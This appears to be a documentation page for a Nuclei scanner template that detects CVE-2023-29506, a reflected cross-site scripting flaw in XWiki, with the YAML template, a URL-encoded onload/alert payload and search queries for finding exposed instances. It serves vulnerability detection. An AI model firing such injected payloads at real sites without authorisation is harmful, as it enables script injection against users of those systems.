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XWiki >= 13.10.8 - Cross-Site Scripting

ID: CVE-2023-29506

Severity: medium

Author: ritikchaddha

Tags: cve,cve2023,xwiki,xss

Description

Section titled “Description”

Reflected XSS vulnerability in XWiki authenticate endpoints allows execution of arbitrary JavaScript.

YAML Source

Section titled “YAML Source”
id: CVE-2023-29506


info:
  name: XWiki >= 13.10.8 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Reflected XSS vulnerability in XWiki authenticate endpoints allows execution of arbitrary JavaScript.
  impact: |
    Successful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.
  remediation: |
    Implement proper input validation and output encoding to prevent XSS attacks in the XWiki application.
  reference:
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-jjm5-5v9v-7hx2
    - https://jira.xwiki.org/browse/XWIKI-20335
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29506
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-29506
    cwe-id: CWE-79
    epss-score: 0.00094
    epss-percentile: 0.39139
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2023,xwiki,xss




http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/authenticate/wiki/xwiki%22onload=%22alert(document.domain)%22/resetpassword"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'wiki-xwiki"onload="alert(document.domain)"'
          - 'resetPasswordForm'
        condition: and


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 490a0046304402201609d24d6d1681bbee1d09c4bca6daa13de320e9e3449be302962613f121d87702206e6ab79060ea5211c20a3819274c7a8726885b4f87060a77035ae82b72066b69:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-29506.yaml"

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